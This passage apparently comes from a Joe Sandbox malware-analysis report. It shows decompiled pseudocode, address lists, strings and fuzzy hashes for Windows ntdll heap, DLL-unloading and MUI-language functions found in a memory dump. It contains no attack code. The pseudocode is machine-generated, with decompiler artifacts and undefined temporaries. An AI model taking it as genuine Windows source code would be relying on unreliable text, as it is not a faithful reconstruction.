							_t101 = _t298 - 8; // -8
							_t232 = _t101;
							__eflags = _v28 +  *_t276 - _t271;
							if(__eflags <= 0) {
								goto L11;
							}
							_t220 =  *(_v24 + 4);
							__eflags =  *(_v24 + 4);
							if(__eflags != 0) {
								E34D45FED(0x15, _t300, 0, _t220, _v32, _v28);
								_t276 = _v8;
							}
							_t143 = 0xc000012d;
							goto L12;
						}
						_t271 =  *0x34d7432c; // 0x0
						_v24 = 0x34d7432c;
						if(_t271 != 0) {
							goto L63;
						}
						goto L11;
					}
				}
			}

0x34c90689
0x34c9068d
0x34c90690
0x34c90699
0x34c906a3
0x34c90929
0x00000000
0x34c90929
0x34c906b0
0x34ce4e97
0x34ce4e99
0x34ce4e9f
0x34ce4ea5
0x34ce4ea9
0x34ce4eca
0x34ce4ecf
0x34ce4eab
0x34ce4ec0
0x34ce4ec5
0x34ce4ed7
0x34ce4edc
0x34ce4ee4
0x34ce4eeb
0x34ce4ef6
0x34ce4ef6
0x34ce4eeb
0x34ce4e99
0x34c906b6
0x34c906b9
0x34c906b9
0x34c906be
0x34c90921
0x34c906c4
0x34c906c4
0x34c906c4
0x34c906ca
0x34c906d3
0x34c906d9
0x34c906dc
0x34ce4f0a
0x34ce4f10
0x34ce4f13
0x00000000
0x34c906e2
0x34c906e2
0x34c906f2
0x34c90930
0x34c90936
0x34c90938
0x34c9093e
0x34c9093e
0x34c90938
0x34c906ff
0x34ce4f1b
0x34ce4f1d
0x34ce4f22
0x34ce4f29
0x34ce4f2a
0x34ce4f2c
0x34ce4f2d
0x34ce4f2f
0x34ce4f34
0x34ce4f36
0x34ce4f39
0x34ce4f44
0x34ce4f4d
0x34ce4f4f
0x34ce4f54
0x34ce4f5b
0x34ce4f5b
0x00000000
0x34ce4f5b
0x34ce4f3b
0x34ce4f3d
0x00000000
0x00000000
0x34ce4f3f
0x34ce4f42
0x00000000
0x00000000
0x00000000
0x34c90705
0x34c90705
0x34c9070c
0x34c9070e
0x34c90724
0x34c90727
0x34c9072d
0x34c90730
0x34c90751
0x34c90751
0x34c90757
0x34c9075c
0x34c9075d
0x34c9075f
0x34c90760
0x34c90762
0x34c90767
0x34c9076a
0x34c9076a
0x34c90770
0x34c90772
0x34ce4f9f
0x00000000
0x34ce4f9f
0x34c9077e
0x34c90783
0x34ce4faa
0x34ce4fad
0x00000000
0x00000000
0x34ce4fbc
0x34c9078e
0x34c90791
0x34ce4fcc
0x34ce4fd3
0x34ce4fe2
0x34ce4fe2
0x34ce4fd3
0x34c9079b
0x34c907a0
0x34c907a4
0x34c907b0
0x34c907b7
0x34ce4fec
0x34ce4ff1
0x34ce4ff1
0x34c907b7
0x34c907bd
0x34c907c1
0x34c907c5
0x34c907c8
0x34c907cb
0x34c907d0
0x34c907d3
0x34c907d6
0x34ce5008
0x34c907e4
0x34c907e4
0x34c907e6
0x34c907e6
0x34c907e9
0x34c907ee
0x34c9081b
0x34c9081b
0x34c9081e
0x34c90827
0x34c9082d
0x34c90833
0x34c90839
0x34c9083f
0x34c90848
0x34c908fd
0x34c90903
0x34c90903
0x34c9084e
0x34c90851
0x34c90855
0x34c90945
0x34c9094d
0x34c90950
0x34c90953
0x34c90964
0x00000000
0x34c90964
0x34c90955
0x00000000
0x34c9085b
0x34c9085b
0x34c9086e
0x34c90876
0x34c90879
0x34c90879
0x34c9087c
0x34c90880
0x34c90885
0x34c908dd
0x34c908de
0x34c908e1
0x34c908e6
0x34c908f3
0x34c908f8
0x34c908f8
0x34c90887
0x34c90887
0x34c90887
0x34c90889
0x34c90892
0x34c90897
0x34ce505d
0x34ce5060
0x00000000
0x00000000
0x34ce506f
0x34c908a2
0x34c908a5
0x34ce5079
0x34ce507f
0x34ce5086
0x00000000
0x00000000
0x34ce5091
0x34ce5093
0x34ce50a5
0x34ce5095
0x34ce509e
0x34ce509e
0x34ce50af
0x34ce50be
0x34c908ae
0x34c908b4
0x34c908b9
0x34ce50c8
0x34ce50cb
0x00000000
0x00000000
0x34ce50da
0x34c908c4
0x34c908c7
0x34ce50e9
0x34ce50eb
0x34ce50fd
0x34ce50ed
0x34ce50f6
0x34ce50f6
0x34ce5113
0x34ce5113
0x00000000
0x34c908cd
0x34c908bf
0x34c908bf
0x00000000
0x34c908bf
0x34c908ab
0x34c908ab
0x00000000
0x34c908ab
0x34c9089d
0x34c9089d
0x00000000
0x34c9089d
0x34c907f0
0x34c907f0
0x34c907f8
0x34ce5014
0x34ce5017
0x34ce501a
0x34ce5036
0x34ce503d
0x00000000
0x00000000
0x00000000
0x00000000
0x34ce501c
0x34ce501c
0x34ce501c
0x34ce501e
0x34ce5020
0x34ce5023
0x34ce5026
0x00000000
0x00000000
0x34ce5028
0x34ce502b
0x34ce502e
0x00000000
0x00000000
0x00000000
0x34ce5030
0x34ce5035
0x34ce5035
0x00000000
0x34ce5035
0x34c907fe
0x34c907fe
0x34c90801
0x34c90803
0x34c90808
0x34ce5053
0x34c90816
0x34c90816
0x34c90818
0x34c90818
0x00000000
0x34c90808
0x34c907ee
0x34c90789
0x34c90789
0x00000000
0x34c90789
0x34c90732
0x34c90736
0x34ce4f63
0x34ce4f66
0x34ce4f66
0x34ce4f6b
0x34ce4f6d
0x00000000
0x00000000
0x34ce4f76
0x34ce4f79
0x34ce4f7b
0x34ce4f8d
0x34ce4f92
0x34ce4f92
0x34ce4f95
0x00000000
0x34ce4f95
0x34c9073c
0x34c90742
0x34c9074b
0x00000000
0x00000000
0x00000000
0x34c9074b
0x34c906ff

Strings

(UCRBlock->Size >= *Size), xrefs: 34CE4ED7
HEAP[%wZ]: , xrefs: 34CE4EBB
HEAP: , xrefs: 34CE4ECA

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-4253913091
Opcode ID: 2cebd0ae903067ce6d4f53cb3383473480eb569f10e2e8d0c3bbccbf3dc4114d
Instruction ID: 220a35030ff5c536b31b2e0f4bd0f9b09e0cf2150089bebdde8916a4a4da98ea
Opcode Fuzzy Hash: 2cebd0ae903067ce6d4f53cb3383473480eb569f10e2e8d0c3bbccbf3dc4114d
Instruction Fuzzy Hash: 7DF17874B00605EFEB05CF6AC890BAAB7F6FF44740F1481A9E515DB281DB34E981CB94

Uniqueness

Uniqueness Score: -1.00%

Function 34CA9723 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 179
timeCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E34CA9723(signed int __ecx, void* __edx) {
				char _v4;
				intOrPtr* _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t49;
				signed int _t50;
				signed int _t60;
				signed int _t69;
				signed int _t70;
				intOrPtr _t79;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t85;
				intOrPtr _t86;
				signed int _t87;
				void* _t88;
				signed int _t89;
				signed int _t93;
				signed int _t99;
				signed int* _t100;
				void* _t102;
				void* _t103;
				signed int _t104;
				intOrPtr* _t105;
				void* _t107;
				signed int _t108;
				intOrPtr* _t110;
				signed int _t112;
				signed int _t113;
				void* _t115;

				_t87 = __ecx;
				_t115 = (_t113 & 0xfffffff8) - 0x14;
				_t110 = __ecx;
				_v16 =  *[fs:0x30];
				_t82 = 0;
				_v12 = __ecx;
				_push(_t103);
				if( *((intOrPtr*)(__ecx + 0x20)) == 0xfffffffc) {
					L9:
					_t13 = _t110 + 0x20;
					 *_t13 =  *(_t110 + 0x20) | 0xffffffff;
					__eflags =  *_t13;
					E34CAA4E3(_t82, _t87, _t103, _t110,  *_t13);
					L10:
					__eflags =  *0x34d765f0 - _t82; // 0x0
					if(__eflags != 0) {
						_t99 =  *0x7ffe0330;
						_t83 =  *0x34d79214; // 0x0
						_push("true");
						_pop(_t88);
						_t87 = _t88 - (_t99 & 0x0000001f);
						asm("ror ebx, cl");
						_t82 = _t83 ^ _t99;
					}
					E34C8FED0(0x34d732d8);
					_t49 =  *_t110;
					while(1) {
						_v20 = _t49;
						__eflags = _t49 - _t110;
						if(_t49 == _t110) {
							break;
						}
						_t16 = _t49 - 0x54; // 0x77e136a0
						_t108 = _t16;
						__eflags =  *(_t108 + 0x34) & 0x00000008;
						if(( *(_t108 + 0x34) & 0x00000008) != 0) {
							_push(_t87);
							_t102 = 2;
							E34CA0C2C(_t108, _t102);
							__eflags = _t82;
							if(_t82 != 0) {
								 *0x34d791e0(_t108);
								 *_t82();
							}
							_t87 = _t108;
							E34C898DE(_t87, 1);
							_t79 = _v24;
							__eflags =  *(_t79 + 0x68) & 0x00000100;
							if(( *(_t79 + 0x68) & 0x00000100) != 0) {
								_t87 = _t108;
								E34D085AA(_t87);
							}
						}
						__eflags =  *0x34d737c0 & 0x00000005;
						if(__eflags != 0) {
							_t43 = _t108 + 0x24; // -48
							E34CFE692("minkernel\\ntdll\\ldrsnap.c", 0xcdd, "LdrpUnloadNode", 2, "Unmapping DLL \"%wZ\"\n", _t43);
							_t115 = _t115 + 0x18;
						}
						_push(0);
						_push( *((intOrPtr*)(_t108 + 0x18)));
						L34CAA390(_t82, _t87, _t108, _t110, __eflags);
						_t49 =  *_v28;
					}
					_push(0x34d732d8);
					_t50 = E34C8E740(_t87);
					while(1) {
						L3:
						_t89 =  *(_t110 + 0x18);
						if(_t89 == 0) {
							break;
						}
						_t104 =  *_t89;
						__eflags = _t104 - _t89;
						if(_t104 != _t89) {
							_t50 =  *_t104;
							 *_t89 = _t50;
						} else {
							_t32 = _t110 + 0x18;
							 *_t32 =  *(_t110 + 0x18) & 0x00000000;
							__eflags =  *_t32;
						}
						__eflags = _t104;
						if(_t104 == 0) {
							break;
						} else {
							L34C92330(_t50, 0x34d76668);
							_t86 =  *((intOrPtr*)(_t104 + 4));
							_t100 = _t104 + 8;
							_t93 =  *(_t86 + 0x1c);
							_t60 =  *_t93;
							_v16 = _t60;
							__eflags = _t60 - _t100;
							if(_t60 == _t100) {
								L27:
								 *_t93 =  *_t100;
								__eflags =  *(_t86 + 0x1c) - _t100;
								if(__eflags == 0) {
									asm("sbb eax, eax");
									_t69 =  ~(_t93 - _t100) & _t93;
									__eflags = _t69;
									 *(_t86 + 0x1c) = _t69;
								}
								_push( &_v4);
								E34C9D963(_t86, _t86, 0, _t104, _t110, __eflags);
								E34C924D0(0x34d76668);
								__eflags = _v12;
								if(_v12 != 0) {
									E34CA9723(_t86, 0);
								}
								_t50 = L34C93BC0( *0x34d75d74, 0, _t104);
								continue;
							}
							_t112 = _t60;
							do {
								_t70 =  *_t112;
								_t93 = _t112;
								_t112 = _t70;
								__eflags = _t70 - _t100;
							} while (_t70 != _t100);
							_t110 = _v8;
							goto L27;
						}
					}
					_t105 =  *_t110;
					 *(_t110 + 0x20) = 0xfffffffe;
					if(_t105 == _t110) {
						L8:
						return _t50;
					} else {
						goto L5;
					}
					do {
						L5:
						_t85 =  *_t105;
						_t107 = _t105 + 0xffffffac;
						 *(_t107 + 0x34) =  *(_t107 + 0x34) | 0x00000002;
						E34CA9938(L34C92330(_t50, 0x34d76668), _t107);
						if(( *(_t107 + 0x34) & 0x00000080) != 0) {
							_t28 = _t107 + 0x74; // -56
							L34CA9B40(_t85, _t107, _t110, 0x34d767ac);
							_t29 = _t107 + 0x68; // -68
							L34CA9B40(_t85, _t107, _t110, 0x34d767a4);
							 *(_t107 + 0x20) =  *(_t107 + 0x20) & 0x00000000;
						}
						E34C924D0(0x34d76668);
						if( *0x34d75d70 != 0) {
							E34CB680F(_t107);
						}
						_t50 = E34C9D3E1(_t85, _t107, _t110);
						_t105 = _t85;
					} while (_t85 != _t110);
					goto L8;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) == 7) {
					goto L10;
				}
				if( *((intOrPtr*)(__ecx + 0x20)) == 9) {
					goto L9;
				}
				goto L3;
			}

0x34ca9723
0x34ca972b
0x34ca9736
0x34ca9738
0x34ca973c
0x34ca973e
0x34ca9742
0x34ca9747
0x34ca97bc
0x34ca97bc
0x34ca97bc
0x34ca97bc
0x34ca97c0
0x34ca97c5
0x34ca97c5
0x34ca97cb
0x34ca9900
0x34ca9908
0x34ca9911
0x34ca9913
0x34ca9914
0x34ca9916
0x34ca9918
0x34ca9918
0x34ca97d6
0x34ca97db
0x34ca97dd
0x34ca97dd
0x34ca97e1
0x34ca97e3
0x00000000
0x00000000
0x34ca97e5
0x34ca97e5
0x34ca97e8
0x34ca97ec
0x34ca97ee
0x34ca97f1
0x34ca97f4
0x34ca97f9
0x34ca97fb
0x34ca9922
0x34ca9928
0x34ca9928
0x34ca9803
0x34ca9805
0x34ca980a
0x34ca980e
0x34ca9815
0x34cedade
0x34cedae0
0x34cedae0
0x34ca9815
0x34ca981b
0x34ca9822
0x34cedaea
0x34cedb04
0x34cedb09
0x34cedb09
0x34ca9828
0x34ca982a
0x34ca982d
0x34ca9836
0x34ca9836
0x34ca983a
0x34ca983f
0x34ca9755
0x34ca9755
0x34ca9755
0x34ca975a
0x00000000
0x00000000
0x34ca986e
0x34ca9870
0x34ca9872
0x34ca992f
0x34ca9931
0x34ca9878
0x34ca9878
0x34ca9878
0x34ca9878
0x34ca9878
0x34ca987c
0x34ca987e
0x00000000
0x34ca9884
0x34ca9889
0x34ca988e
0x34ca9891
0x34ca9894
0x34ca9897
0x34ca9899
0x34ca989d
0x34ca989f
0x34ca98b1
0x34ca98b3
0x34ca98b5
0x34ca98b8
0x34ca98c0
0x34ca98c2
0x34ca98c2
0x34ca98c4
0x34ca98c4
0x34ca98cd
0x34ca98d0
0x34ca98da
0x34ca98df
0x34ca98e4
0x34ca98e8
0x34ca98e8
0x34ca98f6
0x00000000
0x34ca98f6
0x34ca98a1
0x34ca98a3
0x34ca98a3
0x34ca98a5
0x34ca98a7
0x34ca98a9
0x34ca98a9
0x34ca98ad
0x00000000
0x34ca98ad
0x34ca987e
0x34ca9760
0x34ca9762
0x34ca976b
0x34ca97b5
0x34ca97bb
0x00000000
0x00000000
0x00000000
0x34ca976d
0x34ca976d
0x34ca976d
0x34ca976f
0x34ca9777
0x34ca9782
0x34ca978b
0x34ca9849
0x34ca9852
0x34ca9857
0x34ca9860
0x34ca9865
0x34ca9865
0x34ca9796
0x34ca97a2
0x34cedb13
0x34cedb13
0x34ca97aa
0x34ca97af
0x34ca97b1
0x00000000
0x34ca976d
0x34ca974d
0x00000000
0x00000000
0x34ca9753
0x00000000
0x00000000
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 34CA9922

Strings

minkernel\ntdll\ldrsnap.c, xrefs: 34CEDAFF
Unmapping DLL "%wZ", xrefs: 34CEDAEE
LdrpUnloadNode, xrefs: 34CEDAF5

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: LdrpUnloadNode$Unmapping DLL "%wZ"$minkernel\ntdll\ldrsnap.c
API String ID: 3446177414-2283098728
Opcode ID: 7859ded759f47489dc0b06549a3fa75f8f9f2e42cac07183864d787779730090
Instruction ID: 3490c79ff3cbf5506439730f5d39724e827083d53b7c0805c64a56e9db2ab1fa
Opcode Fuzzy Hash: 7859ded759f47489dc0b06549a3fa75f8f9f2e42cac07183864d787779730090
Instruction Fuzzy Hash: 1C51DD75700B02EFE710DF38C885A5AB7A7BF84214F140A6DE555DB691EB30E845CF92

Uniqueness

Uniqueness Score: -1.00%

Function 34CBC640 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 141
timeCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E34CBC640(void* __ebx, signed int __ecx, void* __edx, void* __edi) {
				signed int _v20;
				signed int _v36;
				char _v544;
				char _v552;
				char _v556;
				char* _v560;
				short _v562;
				signed int _v564;
				short _v570;
				char _v572;
				signed int _v580;
				char _v588;
				signed int _v604;
				signed short _v608;
				void* __esi;
				void* __ebp;
				void* _t25;
				signed int* _t27;
				signed int _t39;
				signed int _t42;
				signed int _t54;
				signed char _t56;
				signed int* _t58;
				intOrPtr* _t65;
				signed int _t67;
				void* _t70;
				signed int _t72;
				signed int _t75;
				void* _t77;
				signed int _t80;
				void* _t82;
				signed int _t85;
				signed int _t87;

				_t70 = __edx;
				_push(__ebx);
				_push(__edi);
				_t72 = __ecx;
				_t25 = E34CA0130();
				if(_t25 != 0) {
					L34C92330(_t25, 0x34d75b5c);
					_t27 =  *0x34d79224; // 0x0
					_t75 =  *_t27;
					__eflags = _t72;
					if(_t72 != 0) {
						__eflags = _t75;
						if(_t75 == 0) {
							goto L13;
						} else {
							_t80 = _t75 - 1;
							goto L7;
						}
					} else {
						__eflags = _t75;
						if(_t75 == 0) {
							E34C79050( *0x34d7921c, _t75);
						}
						__eflags = _t75 - 0xffffffff;
						if(_t75 == 0xffffffff) {
							L13:
							E34C924D0(0x34d75b5c);
							_t65 = 0xe;
							asm("int 0x29");
							_t87 = (_t85 & 0xfffffff8) - 0x224;
							_v20 =  *0x34d7b370 ^ _t87;
							_t76 = _t65;
							 *0x34d791e0( &_v544, "true", _t75, _t82);
							_t67 =  *_t65() + _t33;
							__eflags = _t67;
							if(_t67 != 0) {
								__eflags =  *0x34d7660c;
								_v560 =  &_v552;
								_v564 = _t67;
								_v562 = 0x208;
								if(__eflags == 0) {
									L25:
									_push( &_v556);
									_push( &_v564);
									L34D0CB20(0x34d75b5c, _t72, _t76, __eflags);
									goto L15;
								} else {
									_t76 = ( *0x34d76608 & 0x0000ffff) + 2 + _t67;
									_t42 = E34C95D90(_t67,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t76);
									_v580 = _t42;
									__eflags = _t42;
									if(_t42 != 0) {
										__eflags = 0;
										_v570 = _t76;
										_v572 = 0;
										E34CA10D0(_t67,  &_v572, 0x34d76608);
										E34CA10D0(_t67,  &_v580,  &_v572);
										E34C8FE40(_t67,  &_v588, ";");
										L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *0x34d7660c);
										 *0x34d76608 = _v608;
										_t54 = _v604;
										 *0x34d7660c = _t54;
										 *0x34d76604 = _t54;
										E34D0D4A0(_t67, __eflags);
										goto L25;
									} else {
										_t56 =  *0x34d737c0; // 0x0
										__eflags = _t56 & 0x00000003;
										if((_t56 & 0x00000003) != 0) {
											_push("Failed to reallocate the system dirs string !\n");
											_push(0);
											_push("LdrpInitializePerUserWindowsDirectory");
											_push(0xcf4);
											_push("minkernel\\ntdll\\ldrinit.c");
											E34CFE692();
											_t56 =  *0x34d737c0; // 0x0
											_t87 = _t87 + 0x14;
										}
										__eflags = _t56 & 0x00000010;
										if((_t56 & 0x00000010) != 0) {
											asm("int3");
										}
										_t39 = 0xc0000017;
									}
								}
							} else {
								L15:
								_t39 = 0;
								__eflags = 0;
							}
							_pop(_t77);
							__eflags = _v36 ^ _t87;
							return L34CC4B50(_t39, 0x34d75b5c, _v36 ^ _t87, _t70, _t72, _t77);
						} else {
							_t80 = _t75 + 1;
							__eflags = _t80;
							L7:
							_t58 =  *0x34d79224; // 0x0
							 *_t58 = _t80;
							__eflags = _t72;
							if(_t72 != 0) {
								__eflags = _t80;
								if(_t80 == 0) {
									E34C79050( *0x34d7921c, 1);
								}
							}
							_t25 = E34C924D0(0x34d75b5c);
							goto L1;
						}
					}
				} else {
					L1:
					return _t25;
				}
			}

0x34cbc640
0x34cbc642
0x34cbc644
0x34cbc645
0x34cbc647
0x34cbc64e
0x34cbc65a
0x34cbc65f
0x34cbc664
0x34cbc666
0x34cbc668
0x34cbc6a4
0x34cbc6a6
0x00000000
0x34cbc6a8
0x34cbc6a8
0x00000000
0x34cbc6a8
0x34cbc66a
0x34cbc66a
0x34cbc66c
0x34cbc675
0x34cbc675
0x34cbc67a
0x34cbc67d
0x34cbc6ab
0x34cbc6ac
0x34cbc6b3
0x34cbc6b4
0x34cbc6be
0x34cbc6cb
0x34cbc6dc
0x34cbc6df
0x34cbc6e9
0x34cbc6e9
0x34cbc6eb
0x34cf8090
0x34cf809b
0x34cf80a4
0x34cf80a9
0x34cf80ae
0x34cf817f
0x34cf8183
0x34cf8188
0x34cf8189
0x00000000
0x34cf80b4
0x34cf80c4
0x34cf80cc
0x34cf80d1
0x34cf80d5
0x34cf80d7
0x34cf8114
0x34cf8116
0x34cf811b
0x34cf812a
0x34cf8139
0x34cf8148
0x34cf815e
0x34cf8167
0x34cf816c
0x34cf8170
0x34cf8175
0x34cf817a
0x00000000
0x34cf80d9
0x34cf80d9
0x34cf80de
0x34cf80e0
0x34cf80e2
0x34cf80e7
0x34cf80e9
0x34cf80ee
0x34cf80f3
0x34cf80f8
0x34cf80fd
0x34cf8102
0x34cf8102
0x34cf8105
0x34cf8107
0x34cf8109
0x34cf8109
0x34cf810a
0x34cf810a
0x34cf80d7
0x34cbc6f1
0x34cbc6f1
0x34cbc6f1
0x34cbc6f1
0x34cbc6f1
0x34cbc6fa
0x34cbc6fb
0x34cbc705
0x34cbc67f
0x34cbc67f
0x34cbc67f
0x34cbc680
0x34cbc680
0x34cbc685
0x34cbc687
0x34cbc689
0x34cbc68b
0x34cbc68d
0x34cbc697
0x34cbc697
0x34cbc68d
0x34cbc69d
0x00000000
0x34cbc69d
0x34cbc67d
0x34cbc650
0x34cbc650
0x34cbc653
0x34cbc653

APIs

RtlDebugPrintTimes.NTDLL ref: 34CBC6DF

Strings

LdrpInitializePerUserWindowsDirectory, xrefs: 34CF80E9
minkernel\ntdll\ldrinit.c, xrefs: 34CF80F3
Failed to reallocate the system dirs string !, xrefs: 34CF80E2

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-1783798831
Opcode ID: 2efb2dac5515269ce1c85b6d79c113a997c1716b02d3b876268c032623e63332
Instruction ID: 3d4580879b66f00904bd92893c8fadeefbbbe36c5ada636bbc6f4521e4df7e8e
Opcode Fuzzy Hash: 2efb2dac5515269ce1c85b6d79c113a997c1716b02d3b876268c032623e63332
Instruction Fuzzy Hash: CD418FB6510700AFEB10EF24CC54F4B7BEAEF44650F40496EB989E7260EB34D801CB96

Uniqueness

Uniqueness Score: -1.00%

Function 34CA510F Relevance: 6.7, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E34CA510F(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(L34CA8BD1(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(L34CA8BD1(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(L34CA8BD1(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(L34CA8BD1(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(L34CA8BD1(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t71 = _v12 + 4; // 0x6
						_t255 = _t71;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = E34C95D90(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E34CC88C0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E34CCA8B0(_t276, ";");
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E34CC5050(0,  &_v68, _t170);
									if(E34CA56E0( &_v68,  &_v24) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E34CC5050(_t257,  &_v68, _t243);
								if(E34CA56E0( &_v68,  &_v24) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E34CCA8B0(_t278, ";");
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t48 = _v12 + 4; // 0x6
					_t260 = _t48;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = E34C95D90(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E34CC88C0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E34CCA8B0(_v16, ";");
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E34CC5050(_t262,  &_v68, _t244);
								if(E34CA56E0( &_v68,  &_v24) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E34CCA8B0(_t282, ";");
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E34CC5050(_t262,  &_v68, _t201);
							if(E34CA56E0( &_v68,  &_v24) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t26 = _v12 + 4; // 0x6
				_t264 = _t26;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = E34C95D90(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t264);
					_t280 = _t236;
